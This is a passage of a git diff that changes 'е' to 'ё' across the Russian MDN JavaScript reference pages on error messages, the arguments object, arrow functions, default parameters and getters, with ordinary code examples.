a/files/ru/web/javascript/reference/errors/no_variable_name/index.html +++ b/files/ru/web/javascript/reference/errors/no_variable_name/index.html @@ -35,7 +35,7 @@ SyntaxError: Unexpected token = (Chrome)</pre> <h3 id="Зарезервированные_ключевые_слова_не_могут_использоваться_как_имена_переменных">Зарезервированные ключевые слова не могут использоваться как имена переменных</h3> -<p>Есть несколько имен, которые являются <a href="/ru/docs/Web/JavaScript/Reference/Lexical_grammar#Ключевые_слова">зарезервированными ключевыми словами</a>. Их нельзя использовать. Увы :(</p> +<p>Есть несколько имён, которые являются <a href="/ru/docs/Web/JavaScript/Reference/Lexical_grammar#Ключевые_слова">зарезервированными ключевыми словами</a>. Их нельзя использовать. Увы :(</p> <pre class="brush: js example-bad">var debugger = "whoop"; // SyntaxError: missing variable name diff --git a/files/ru/web/javascript/reference/errors/non_configurable_array_element/index.html b/files/ru/web/javascript/reference/errors/non_configurable_array_element/index.html index b298844d17..9f932a969a 100644 --- a/files/ru/web/javascript/reference/errors/non_configurable_array_element/index.html +++ b/files/ru/web/javascript/reference/errors/non_configurable_array_element/index.html @@ -1,6 +1,6 @@ --- title: >- - TypeError: can't delete non-configurable array element(Тип ошибки:не удается + TypeError: can't delete non-configurable array element(Тип ошибки:не удаётся удалить настраиваемый элемент массива) slug: Web/JavaScript/Reference/Errors/Non_configurable_array_element translation_of: Web/JavaScript/Reference/Errors/Non_configurable_array_element @@ -9,8 +9,8 @@ translation_of: Web/JavaScript/Reference/Errors/Non_configurable_array_element <h2 id="Сообщения">Сообщения</h2> -<pre class="syntaxbox">TypeError: не удается удалить не настраиваемый элемент массива (Firefox) -TypeError: не удается удалить свойство '2' из [массива объектов] (Chrome) +<pre class="syntaxbox">TypeError: не удаётся удалить не настраиваемый элемент массива (Firefox) +TypeError: не удаётся удалить свойство '2' из [массива объектов] (Chrome) </pre> <h2 id="Тип_ошибки">Тип ошибки</h2> @@ -33,14 +33,14 @@ TypeError: не удается удалить свойство '2' из [мас <h3 id="Не_настраиваемые_свойства_созданные_Object.defineProperty">Не настраиваемые свойства, созданные <code>Object.defineProperty</code></h3> -<p>The {{jsxref("Object.defineProperty()")}} создает не настраиваемые свойства по умолчанию, если они не указаны как настраиваемые.</p> +<p>The {{jsxref("Object.defineProperty()")}} создаёт не настраиваемые свойства по умолчанию, если они не указаны как настраиваемые.</p> <pre class="brush: js example-bad">var arr = []; Object.defineProperty(arr, 0, {value: 0}); Object.defineProperty(arr, 1, {value: "1"}); arr.length = 1; -// TypeError: не удается удалить не настраиваемый элемент массива +// TypeError: не удаётся удалить не настраиваемый элемент массива </pre> <p>Вам нужно будет установить элементы как конфигурируемые, если вы собираетесь сократить массив.</p> diff --git a/files/ru/web/javascript/reference/errors/not_a_codepoint/index.html b/files/ru/web/javascript/reference/errors/not_a_codepoint/index.html index 0b72d6c50f..1d1decf231 100644 --- a/files/ru/web/javascript/reference/errors/not_a_codepoint/index.html +++ b/files/ru/web/javascript/reference/errors/not_a_codepoint/index.html @@ -18,7 +18,7 @@ RangeError: Invalid code point {0} (Chrome) <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p>Метод {{jsxref("String.fromCodePoint()")}} выдает ошибку, если ему было передано значение {{jsxref("NaN")}}, отрицательное целое число (-1), нецелое число (5.4) или значение, которое превышает 0x10FFFF (1114111).</p> +<p>Метод {{jsxref("String.fromCodePoint()")}} выдаёт ошибку, если ему было передано значение {{jsxref("NaN")}}, отрицательное целое число (-1), нецелое число (5.4) или значение, которое превышает 0x10FFFF (1114111).</p> <p><a href="https://en.wikipedia.org/wiki/Code_point">Кодовая точка (code point)</a> – это значение в кодовом пространстве Unicode, то есть диапазон целых чисел от <code>0</code> до <code>0x10FFFF</code>.</p> diff --git a/files/ru/web/javascript/reference/errors/not_a_constructor/index.html b/files/ru/web/javascript/reference/errors/not_a_constructor/index.html index e9c3aafb29..68f9144938 100644 --- a/files/ru/web/javascript/reference/errors/not_a_constructor/index.html +++ b/files/ru/web/javascript/reference/errors/not_a_constructor/index.html @@ -71,7 +71,7 @@ var obj = new f; <h3 id="В_Обещаниях_(Promises)">В Обещаниях (Promises)</h3> -<p>В случае, когда возвращается незамедлительно разрешенное или незамедлительно отклоненное Обещание, Вам не нужно создавать новое Обещание <em>new Promise(...)</em> и работать с ним.</p> +<p>В случае, когда возвращается незамедлительно разрешённое или незамедлительно отклонённое Обещание, Вам не нужно создавать новое Обещание <em>new Promise(...)</em> и работать с ним.</p> <p>Это неправильно (<a href="/en-US/docs/Mozilla/JavaScript_code_modules/Promise.jsm/Promise#Constructor">конструктор Обещания</a> вызывается неправильно) и будет вызывать исключение <code>TypeError: this is not a constructor</code>:</p> diff --git a/files/ru/web/javascript/reference/errors/not_defined/index.html b/files/ru/web/javascript/reference/errors/not_defined/index.html index 818c3c00d4..2169f9ffa3 100644 --- a/files/ru/web/javascript/reference/errors/not_defined/index.html +++ b/files/ru/web/javascript/reference/errors/not_defined/index.html @@ -36,7 +36,7 @@ foo.substring(1); // "ar"</pre> <h3 id="Неправильная_зона_доступности"><font><font>Неправильная зона доступности</font></font></h3> -<p>Переменная должна быть доступна в текущем контексте исполнения. Переменные, определенные внутри <a href="/ru/docs/Web/JavaScript/Reference/Functions">функции</a> не могут быть доступны из любой точки за пределами функции, так как переменная определена только в области видимости самой функции.</p> +<p>Переменная должна быть доступна в текущем контексте исполнения. Переменные, определённые внутри <a href="/ru/docs/Web/JavaScript/Reference/Functions">функции</a> не могут быть доступны из любой точки за пределами функции, так как переменная определена только в области видимости самой функции.</p> <pre class="brush: js example-bad">function numbers () { var num1 = 2, @@ -46,7 +46,7 @@ foo.substring(1); // "ar"</pre> console.log(num1); // ReferenceError num1 is not defined.</pre> -<p>Тем не менее, функция может получить доступ ко всем переменным и функциям, определенным в области видимости, в которой она определена. Другими словами, функция, определенная в глобальной области может получить доступ ко всем переменным, определенным в глобальном масштабе.</p> +<p>Тем не менее, функция может получить доступ ко всем переменным и функциям, определённым в области видимости, в которой она определена. Другими словами, функция, определённая в глобальной области может получить доступ ко всем переменным, определённым в глобальном масштабе.</p> <pre class="brush: js example-good">var num1 = 2, num2 = 3; diff --git a/files/ru/web/javascript/reference/errors/read-only/index.html b/files/ru/web/javascript/reference/errors/read-only/index.html index 4675e8008f..2616d68809 100644 --- a/files/ru/web/javascript/reference/errors/read-only/index.html +++ b/files/ru/web/javascript/reference/errors/read-only/index.html @@ -10,8 +10,8 @@ translation_of: Web/JavaScript/Reference/Errors/Read-only <pre class="syntaxbox">TypeError: назначение свойств только для чтения не допускается в строгом режиме (Edge) TypeError: "x" доступен только для чтения (Firefox) TypeError: 0 доступен только для чтения (Firefox) -TypeError: не удается назначить только для чтения свойство "x" из #<объект> (Chrome) -TypeError: не удается назначить только для чтения свойство '0' [массив объектов] (Chrome) +TypeError: не удаётся назначить только для чтения свойство "x" из #<объект> (Chrome) +TypeError: не удаётся назначить только для чтения свойство '0' [массив объектов] (Chrome) </pre> <h2 id="Тип_ошибки">Тип ошибки</h2> diff --git a/files/ru/web/javascript/reference/errors/redeclared_parameter/index.html b/files/ru/web/javascript/reference/errors/redeclared_parameter/index.html index 781ea495ec..dbf5ae9fba 100644 --- a/files/ru/web/javascript/reference/errors/redeclared_parameter/index.html +++ b/files/ru/web/javascript/reference/errors/redeclared_parameter/index.html @@ -21,7 +21,7 @@ SyntaxError: Identifier "x" has already been declared (Chrome) <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p>Одно и то же имя переменной сначала использовано в качестве параметра, а потом объявлено еще раз в теле функции с помощью оператора присваивания <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/let">let</a></code>. В JavaScript не допустимо переопределение переменной в рамках области видимости функции или блока при помощи <code>let</code>.</p> +<p>Одно и то же имя переменной сначала использовано в качестве параметра, а потом объявлено ещё раз в теле функции с помощью оператора присваивания <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/let">let</a></code>. В JavaScript не допустимо переопределение переменной в рамках области видимости функции или блока при помощи <code>let</code>.</p> <h2 id="Примеры">Примеры</h2> @@ -34,7 +34,7 @@ SyntaxError: Identifier "x" has already been declared (Chrome) // SyntaxError: redeclaration of formal parameter "arg" </pre> -<p>Если вы хотите изменить значение переменной "arg" в теле функции, это можно сделать, но для этого не требуется объявлять эту же переменную еще раз. Иначе говоря, ключевое слово <code>let</code> можно опустить. Если же вы хотите создать новую переменную, необходимо ее переименовать, поскольку в противном случае она вступает в конфликт с уже существующим параметром функции.</p> +<p>Если вы хотите изменить значение переменной "arg" в теле функции, это можно сделать, но для этого не требуется объявлять эту же переменную ещё раз. Иначе говоря, ключевое слово <code>let</code> можно опустить. Если же вы хотите создать новую переменную, необходимо её переименовать, поскольку в противном случае она вступает в конфликт с уже существующим параметром функции.</p> <pre class="brush: js example-good">function f(arg) { arg = 'foo'; diff --git a/files/ru/web/javascript/reference/errors/reserved_identifier/index.html b/files/ru/web/javascript/reference/errors/reserved_identifier/index.html index 28c0df1add..91cedeb38d 100644 --- a/files/ru/web/javascript/reference/errors/reserved_identifier/index.html +++ b/files/ru/web/javascript/reference/errors/reserved_identifier/index.html @@ -60,7 +60,7 @@ var list = ["potatoes", "rice", "fries"];</pre> <h3 id="Обновление_старых_браузеров">Обновление старых браузеров</h3> -<p>Например, если вы используете старый браузер, в котором еще не реализована функция <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements/let">let</a></code> или <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements/class">class</a></code>, вам следует перейти на более новую версию браузера, которая поддерживает данные языковые функции.</p> +<p>Например, если вы используете старый браузер, в котором ещё не реализована функция <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements/let">let</a></code> или <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements/class">class</a></code>, вам следует перейти на более новую версию браузера, которая поддерживает данные языковые функции.</p> <pre class="brush: js">"use strict"; class DocArchiver {} diff --git a/files/ru/web/javascript/reference/errors/strict_non_simple_params/index.html b/files/ru/web/javascript/reference/errors/strict_non_simple_params/index.html index 48917edbc1..9f76e774c7 100644 --- a/files/ru/web/javascript/reference/errors/strict_non_simple_params/index.html +++ b/files/ru/web/javascript/reference/errors/strict_non_simple_params/index.html @@ -23,7 +23,7 @@ SyntaxError: Illegal 'use strict' directive in function with non-simple paramete <p>Перевод:</p> <pre class="syntaxbox">Edge: -Не удается применить строгий режим к функциям со списком, содержащим сложные параметры +Не удаётся применить строгий режим к функциям со списком, содержащим сложные параметры Firefox: Ошибка синтаксиса: "use strict" не допускается в функции с параметром по умолчанию @@ -74,7 +74,7 @@ function sum(a = 1, b = 2) { <h3 id="Функция_выражения">Функция выражения</h3> -<p>Выражение функции может использовать еще один обходной путь:</p> +<p>Выражение функции может использовать ещё один обходной путь:</p> <pre class="brush: js example-bad">var sum = function sum([a, b]) { // SyntaxError: "use strict" не допускается в функции с параметром деструктурирования diff --git a/files/ru/web/javascript/reference/errors/unexpected_token/index.html b/files/ru/web/javascript/reference/errors/unexpected_token/index.html index 52b6bca2de..62f6dd9db2 100644 --- a/files/ru/web/javascript/reference/errors/unexpected_token/index.html +++ b/files/ru/web/javascript/reference/errors/unexpected_token/index.html @@ -25,7 +25,7 @@ SyntaxError: expected '=>' after argument list, got "x" <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p>Вместо определенной конструкции языка было использовано что-то другое. Возможно, просто опечатка.</p> +<p>Вместо определённой конструкции языка было использовано что-то другое. Возможно, просто опечатка.</p> <h2 id="Примеры">Примеры</h2> @@ -39,7 +39,7 @@ SyntaxError: expected '=>' after argument list, got "x" // SyntaxError: expected expression, got ';' </pre> -<p>Правильным вариантом будет убрать запятую или добавить еще одно выражение:</p> +<p>Правильным вариантом будет убрать запятую или добавить ещё одно выражение:</p> <pre class="brush: js example-good">for (let i = 0; i < 5; ++i) { console.log(i); diff --git a/files/ru/web/javascript/reference/errors/unexpected_type/index.html b/files/ru/web/javascript/reference/errors/unexpected_type/index.html index c8ccbe028f..43015841f0 100644 --- a/files/ru/web/javascript/reference/errors/unexpected_type/index.html +++ b/files/ru/web/javascript/reference/errors/unexpected_type/index.html @@ -25,7 +25,7 @@ TypeError: "x" is not a symbol <p>Встречен неожиданный тип. Это часто случается со значениями {{jsxref("null")}} или {{jsxref("undefined")}}.</p> -<p>Так же, некоторые методы, такие как {{jsxref("Object.create()")}} или {{jsxref("Symbol.keyFor()")}}, требуют определенный тип, который должен быть предоставлен.</p> +<p>Так же, некоторые методы, такие как {{jsxref("Object.create()")}} или {{jsxref("Symbol.keyFor()")}}, требуют определённый тип, который должен быть предоставлен.</p> <h2 id="Примеры">Примеры</h2> @@ -39,7 +39,7 @@ var foo = null; foo.substring(1); // TypeError: foo is null -// Некоторые методы могут требовать определенный тип +// Некоторые методы могут требовать определённый тип var foo = {} Symbol.keyFor(foo); // TypeError: foo is not a symbol diff --git a/files/ru/web/javascript/reference/errors/unnamed_function_statement/index.html b/files/ru/web/javascript/reference/errors/unnamed_function_statement/index.html index 0c950c014e..c4f442f49e 100644 --- a/files/ru/web/javascript/reference/errors/unnamed_function_statement/index.html +++ b/files/ru/web/javascript/reference/errors/unnamed_function_statement/index.html @@ -18,7 +18,7 @@ SyntaxError: непредвиденный токен ( [Chrome] <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p>В коде есть оператор function, для которого требуется имя. Вам нужно будет проверить, как определены функции и нужно ли предоставить для них имя, или если рассматриваемая функция должна быть выражением функции, {{Glossary("IIFE")}}, или если код функции вообще правильно размещен в этом контексте.</p> +<p>В коде есть оператор function, для которого требуется имя. Вам нужно будет проверить, как определены функции и нужно ли предоставить для них имя, или если рассматриваемая функция должна быть выражением функции, {{Glossary("IIFE")}}, или если код функции вообще правильно размещён в этом контексте.</p> <h2 id="Примеры">Примеры</h2> @@ -38,7 +38,7 @@ SyntaxError: непредвиденный токен ( [Chrome] return 'Hello world'; };</pre> -<p>Или, ваша функция возможно, предназначена для IIFE (немедленно вызываемое выражение функции), которое является функцией, которая запускается, как только она определена. В этом случае вам понадобится еще несколько брекетов:</p> +<p>Или, ваша функция возможно, предназначена для IIFE (немедленно вызываемое выражение функции), которое является функцией, которая запускается, как только она определена. В этом случае вам понадобится ещё несколько брекетов:</p> <pre class="brush: js example-good">(function () { diff --git a/files/ru/web/javascript/reference/errors/unterminated_string_literal/index.html b/files/ru/web/javascript/reference/errors/unterminated_string_literal/index.html index ea9aca3e65..dd817a5407 100644 --- a/files/ru/web/javascript/reference/errors/unterminated_string_literal/index.html +++ b/files/ru/web/javascript/reference/errors/unterminated_string_literal/index.html @@ -1,5 +1,5 @@ --- -title: 'SyntaxError: unterminated string literal(незавершенный строковый литерал)' +title: 'SyntaxError: unterminated string literal(незавершённый строковый литерал)' slug: Web/JavaScript/Reference/Errors/Unterminated_string_literal translation_of: Web/JavaScript/Reference/Errors/Unterminated_string_literal --- @@ -34,7 +34,7 @@ SyntaxError: незадействованный строковый литера <pre class="brush: js example-bad">var longString = 'Это очень длинная строка, которая нуждается перенос через несколько строк, потому что в противном случае мой код нечитаем."; -// SyntaxError: незавершенный строковый литерал</pre> +// SyntaxError: незавершённый строковый литерал</pre> <p>Вместо этого используйте оператор+, обратную косую черту или литералы шаблона. Вариант оператора + выглядит следующим образом:</p> @@ -50,7 +50,7 @@ SyntaxError: незадействованный строковый литера в противном случае мой код нечитаем."; </pre> -<p>Еще одна возможность-использовать шаблонные литералы, поддерживаемые в средах ECMAScript 2015:</p> +<p>Ещё одна возможность-использовать шаблонные литералы, поддерживаемые в средах ECMAScript 2015:</p> <pre class="brush: js example-good">var longString = `Это очень длинная строка, которая нуждается в переносе через несколько строк, потому что diff --git a/files/ru/web/javascript/reference/errors/var_hides_argument/index.html b/files/ru/web/javascript/reference/errors/var_hides_argument/index.html index 91953a36c8..5b7c3d1f8e 100644 --- a/files/ru/web/javascript/reference/errors/var_hides_argument/index.html +++ b/files/ru/web/javascript/reference/errors/var_hides_argument/index.html @@ -24,7 +24,7 @@ original_slug: Web/JavaScript/Reference/Errors/Переменные_скрыва <p> </p> -<p>То же имя переменной происходит в качестве параметра функции, и затем повторно объявляется с помощью назначения var в теле функции. Это может быть конфликт имен, поэтому JavaScript предупреждает об этом.</p> +<p>То же имя переменной происходит в качестве параметра функции, и затем повторно объявляется с помощью назначения var в теле функции. Это может быть конфликт имён, поэтому JavaScript предупреждает об этом.</p> <p>Эта ошибка возникает как предупреждение только в коде строгого режима. В нестрогом коде повторное объявление игнорируется.</p> diff --git a/files/ru/web/javascript/reference/functions/arguments/callee/index.html b/files/ru/web/javascript/reference/functions/arguments/callee/index.html index eaf41af79d..5326296bdd 100644 --- a/files/ru/web/javascript/reference/functions/arguments/callee/index.html +++ b/files/ru/web/javascript/reference/functions/arguments/callee/index.html @@ -29,7 +29,7 @@ translation_of: Web/JavaScript/Reference/Functions/arguments/callee <p> </p> -<p>Действительно незаменимым оно остается всего в одной ситуации. Когда мы создаем анонимную функцию напрямую через конструктор <em>Function.</em></p> +<p>Действительно незаменимым оно остаётся всего в одной ситуации. Когда мы создаём анонимную функцию напрямую через конструктор <em>Function.</em></p> <pre class="line-numbers language-javascript"><code class="language-javascript"><span class="keyword token">var b = new Function("", "alert(typeof arguments.callee)");</span></code></pre> diff --git a/files/ru/web/javascript/reference/functions/arguments/index.html b/files/ru/web/javascript/reference/functions/arguments/index.html index b23710eba0..db4f25e9b6 100644 --- a/files/ru/web/javascript/reference/functions/arguments/index.html +++ b/files/ru/web/javascript/reference/functions/arguments/index.html @@ -105,7 +105,7 @@ console.log(typeof arguments[0]);</code></pre> <span class="keyword token">return</span> args<span class="punctuation token">.</span><span class="function token">join</span><span class="punctuation token">(</span>separator<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span></code></pre> -<p>Вы можете передать любое количество аргументов в эту функцию. Она создает строку, используя каждый аргумент:</p> +<p>Вы можете передать любое количество аргументов в эту функцию. Она создаёт строку, используя каждый аргумент:</p> <pre class="brush:js">// возвращает "red, orange, blue" myConcat(", ", "red", "orange", "blue"); @@ -118,7 +118,7 @@ myConcat(". ", "sage", "basil", "oregano", "pepper", "parsley");</pre> <h3 id="Функция_создающая_HTML_списки"> Функция, создающая HTML списки</h3> -<p>В данном примере приведена функция, которая создает строку с HTML-разметкой для списка. Единственный ее аргумент - строка, определяющая вид списка: если его значение равно "u", формируется неупорядоченный (маркированный) список, а если "o", то упорядоченный (нумерованный):</p> +<p>В данном примере приведена функция, которая создаёт строку с HTML-разметкой для списка. Единственный её аргумент - строка, определяющая вид списка: если его значение равно "u", формируется неупорядоченный (маркированный) список, а если "o", то упорядоченный (нумерованный):</p> <pre class="brush:js">function list(type) { var result = "<" + type + "l><li>"; @@ -148,7 +148,7 @@ myConcat(". ", "sage", "basil", "oregano", "pepper", "parsley");</pre> <span class="punctuation token">}</span> <span class="function token">foo</span><span class="punctuation token">(</span><span class="number token">1</span><span class="punctuation token">,</span> <span class="number token">2</span><span class="punctuation token">,</span> <span class="number token">3</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// { "0": 1, "1": 2, "2": 3 }</span></code></pre> -<p>Тем не менее, в нестрогих функциях <strong>соответствие между их аргументами и объектом <code>arguments</code></strong> существует только в том случае, если функция <strong>не</strong> содержит никаких <a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">оставшихся параметров</a>, <a href="/ru/docs/Web/JavaScript/Reference/Functions/Default_parameters">параметров по умолчанию</a> или <a href="/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">деструктурированных параметров</a>. Например, в функции, приведенной ниже, используется параметр по умолчанию, и в данном случае возвращаемый результат будет равен 10, а не 100:</p> +<p>Тем не менее, в нестрогих функциях <strong>соответствие между их аргументами и объектом <code>arguments</code></strong> существует только в том случае, если функция <strong>не</strong> содержит никаких <a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">оставшихся параметров</a>, <a href="/ru/docs/Web/JavaScript/Reference/Functions/Default_parameters">параметров по умолчанию</a> или <a href="/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">деструктурированных параметров</a>. Например, в функции, приведённой ниже, используется параметр по умолчанию, и в данном случае возвращаемый результат будет равен 10, а не 100:</p> <pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">bar</span><span class="punctuation token">(</span>a<span class="operator token">=</span><span class="number token">1</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> arguments<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span> <span class="operator token">=</span> <span class="number token">100</span><span class="punctuation token">;</span> @@ -164,7 +164,7 @@ myConcat(". ", "sage", "basil", "oregano", "pepper", "parsley");</pre> <span class="punctuation token">}</span> <span class="function token">zoo</span><span class="punctuation token">(</span><span class="number token">10</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// 100</span></code></pre> -<p>На самом деле, если <a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">оставшиеся параметры</a>, <a href="/ru/docs/Web/JavaScript/Reference/Functions/Default_parameters">параметры по умолчанию</a> или <a href="/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">деструктурированные параметры</a> не используются, формальные аргументы будут ссылаться на последние значения объекта <strong><code>arguments</code></strong>, при считывании значений формальных аргументов будут считаны последние данные из <strong><code>arguments</code></strong>, а при изменении значений формальных аргументов будет обновлен и объект <strong><code>arguments</code></strong>. Пример приведен в коде ниже:</p> +<p>На самом деле, если <a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">оставшиеся параметры</a>, <a href="/ru/docs/Web/JavaScript/Reference/Functions/Default_parameters">параметры по умолчанию</a> или <a href="/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">деструктурированные параметры</a> не используются, формальные аргументы будут ссылаться на последние значения объекта <strong><code>arguments</code></strong>, при считывании значений формальных аргументов будут считаны последние данные из <strong><code>arguments</code></strong>, а при изменении значений формальных аргументов будет обновлён и объект <strong><code>arguments</code></strong>. Пример приведён в коде ниже:</p> <pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">func</span><span class="punctuation token">(</span>a<span class="punctuation token">,</span> b<span class="punctuation token">)</span> <span class="punctuation token">{</span> arguments<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span> <span class="operator token">=</span> <span class="number token">90</span><span class="punctuation token">;</span> diff --git a/files/ru/web/javascript/reference/functions/arrow_functions/index.html b/files/ru/web/javascript/reference/functions/arrow_functions/index.html index bd2cc34fe1..6df06beb79 100644 --- a/files/ru/web/javascript/reference/functions/arrow_functions/index.html +++ b/files/ru/web/javascript/reference/functions/arrow_functions/index.html @@ -66,7 +66,7 @@ f(); // 6 elements.map(function(element) { return element.length; -}); // Это выражение вернет массив [8, 6, 7, 9] +}); // Это выражение вернёт массив [8, 6, 7, 9] // Функцию выше можно записать как стрелочную функцию: elements.map((element) => { @@ -123,7 +123,7 @@ var p = new Person(); <p>Кроме этого, может быть создана <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">привязанная функция</a>, в которую передаётся требуемое значение <code><a href="/ru/docs/Web/JavaScript/Reference/Operators/this">this</a></code> для функции (функция <code>growUp()</code> в примере выше).</p> -<p>Стрелочные функции не содержат собственный контекст <code><a href="/ru/docs/Web/JavaScript/Reference/Operators/this">this</a></code>, а используют значение <code><a href="/ru/docs/Web/JavaScript/Reference/Operators/this">this</a></code> окружающего контекста. Поэтому нижеприведенный код работает как предполагалось:</p> +<p>Стрелочные функции не содержат собственный контекст <code><a href="/ru/docs/Web/JavaScript/Reference/Operators/this">this</a></code>, а используют значение <code><a href="/ru/docs/Web/JavaScript/Reference/Operators/this">this</a></code> окружающего контекста. Поэтому нижеприведённый код работает как предполагалось:</p> <pre class="brush: js">function Person(){ this.age = 0; diff --git a/files/ru/web/javascript/reference/functions/default_parameters/index.html b/files/ru/web/javascript/reference/functions/default_parameters/index.html index 9043c38446..b257a5fe65 100644 --- a/files/ru/web/javascript/reference/functions/default_parameters/index.html +++ b/files/ru/web/javascript/reference/functions/default_parameters/index.html @@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Reference/Functions/Default_parameters <h2 id="Example" name="Example">Описание</h2> -<p>В JavaScript параметры функции, которым при ее вызове не передаются значения, принимают по умолчанию значение <code>{{jsxref("undefined")}}</code>. Однако в некоторых случаях может быть полезно задать иное значение по умолчанию. Именно для таких случаев предназначены параметры по умолчанию.</p> +<p>В JavaScript параметры функции, которым при её вызове не передаются значения, принимают по умолчанию значение <code>{{jsxref("undefined")}}</code>. Однако в некоторых случаях может быть полезно задать иное значение по умолчанию. Именно для таких случаев предназначены параметры по умолчанию.</p> <p>В прошлом для проверки параметров и задания их значений по умолчанию использовался код в теле функции, в котором проверялось, не равны ли значения параметров <code>undefined</code>.</p> @@ -47,7 +47,7 @@ multiply(5, 2); // 10 multiply(5); // 5 </pre> -<p>С появлением в ES2015 параметров по умолчанию стало возможным обходиться без проверки параметров в теле функции. Так, в приведенном выше примере достаточно в заголовке функции указать <code>1</code> в качестве значения по умолчанию для параметра <code>b</code>:</p> +<p>С появлением в ES2015 параметров по умолчанию стало возможным обходиться без проверки параметров в теле функции. Так, в приведённом выше примере достаточно в заголовке функции указать <code>1</code> в качестве значения по умолчанию для параметра <code>b</code>:</p> <pre class="brush: js">function multiply(a, b = 1) { return a*b; @@ -78,7 +78,7 @@ test(null); // 'object' (num получил значение null) <h3 id="Параметры_по_умолчанию_вычисляются_в_момент_вызова_функции">Параметры по умолчанию вычисляются в момент вызова функции</h3> -<p>В Javascript параметры по умолчанию вычисляются в момент вызова функции. В отличие от языка Python, при каждом вызове функции создается новое лексическое окружение функции.</p> +<p>В Javascript параметры по умолчанию вычисляются в момент вызова функции. В отличие от языка Python, при каждом вызове функции создаётся новое лексическое окружение функции.</p> <pre class="brush: js">function append(value, array = []) { array.push(value); @@ -117,7 +117,7 @@ callSomething(); // 2 greet('David', 'Hi'); // ["David", "Hi", "Hi David"] greet('David', 'Hi', 'Happy Birthday!'); // ["David", "Hi", "Happy Birthday!"]</pre> -<p>Следующий пример пример еще раз иллюстрирует эту возможность, а также позволяет еще раз сравнить два способа достижения одного и того же результата: с использованием инициализации параметров по умолчанию и без ее использования:</p> +<p>Следующий пример пример ещё раз иллюстрирует эту возможность, а также позволяет ещё раз сравнить два способа достижения одного и того же результата: с использованием инициализации параметров по умолчанию и без её использования:</p> <pre class="brush: js">function go() { return ":P" @@ -158,7 +158,7 @@ withoutDefaults.call({value:"=^_^="}); <h3 id="Инициализация_с_помощью_функций_определяемых_в_теле_функции">Инициализация с помощью функций, определяемых в теле функции</h3> -<p>Начиная с версии Gecko 33 {{geckoRelease(33)}} функции, определяемые в теле самой функции, не могут быть использованы для инициализации параметров по умолчанию; попытка это сделать приведет к ошибке {{jsxref("ReferenceError")}}. Параметры по умолчанию всегда вычисляются до обработки описаний функций, определяемых в теле функции.</p> +<p>Начиная с версии Gecko 33 {{geckoRelease(33)}} функции, определяемые в теле самой функции, не могут быть использованы для инициализации параметров по умолчанию; попытка это сделать приведёт к ошибке {{jsxref("ReferenceError")}}. Параметры по умолчанию всегда вычисляются до обработки описаний функций, определяемых в теле функции.</p> <pre class="brush: js">// Вызовет ошибку ReferenceError! function f(a = go()) { diff --git a/files/ru/web/javascript/reference/functions/get/index.html b/files/ru/web/javascript/reference/functions/get/index.html index 9e2c329c8e..0e6803733f 100644 --- a/files/ru/web/javascript/reference/functions/get/index.html +++ b/files/ru/web/javascript/reference/functions/get/index.html @@ -49,7 +49,7 @@ translation_of: Web/JavaScript/Reference/Functions/get <h3 id="Определение_геттера_на_новом_объекте_в_момент_инициализации_этого_объекта">Определение геттера на новом объекте в момент инициализации этого объекта</h3> -<p>Ниже создается псевдо-свойство <code>latest</code> для объекта <code>obj</code>, который выведет последний элемент массива в консоль лог.</p> +<p>Ниже создаётся псевдо-свойство <code>latest</code> для объекта <code>obj</code>, который выведет последний элемент массива в консоль лог.</p> <pre class="brush: js">const obj = { log: ['example','test'], @@ -98,10 +98,10 @@ console.log(obj.foo); // "bar"</pre> <p>Геттеры дают нам возможность определять свойство объекта , но они не вычисляют значение этого свойства до тех пор, пока оно не станет доступно. Геттер откладывает стоимость вычисления значения до тех пор, пока это значение не станет нужно, и если оно никогда не понадобится, то вы никогда не заплатите.</p> -<p>Дополнительная техника оптимизации заключается в том, чтобы лениться или откладывать вычисление значения свойства и кэшировать его для дальнейшего доступа. Так поступают <strong>умные или <a href="https://en.wikipedia.org/wiki/Memoization">запоминающие</a> геттеры</strong>. Значение вычисляется в первый раз при вызове геттера и затем сохраняется в кэше так, что последующие обращения будут возвращать кэшированные значения без его пересчета. Это полезно в следующих ситуациях:</p> +<p>Дополнительная техника оптимизации заключается в том, чтобы лениться или откладывать вычисление значения свойства и кэшировать его для дальнейшего доступа. Так поступают <strong>умные или <a href="https://en.wikipedia.org/wiki/Memoization">запоминающие</a> геттеры</strong>. Значение вычисляется в первый раз при вызове геттера и затем сохраняется в кэше так, что последующие обращения будут возвращать кэшированные значения без его пересчёта. Это полезно в следующих ситуациях:</p> <ul> - <li>Если вычисление значения свойства дорого (занимает много оперативной памяти или процессорного времени, порождает рабочий поток, получает удаленный файл, и т. д.).</li> + <li>Если вычисление значения свойства дорого (занимает много оперативной памяти или процессорного времени, порождает рабочий поток, получает удалённый файл, и т. д.).</li> <li>Если сейчас это значение не нужно. Оно будет использоваться позже, или в некоторых случаях оно не используется вообще.</li> <li>Если оно используется, к нему будут обращаться несколько раз, и нет необходимости его пересчитывать, так как значение не 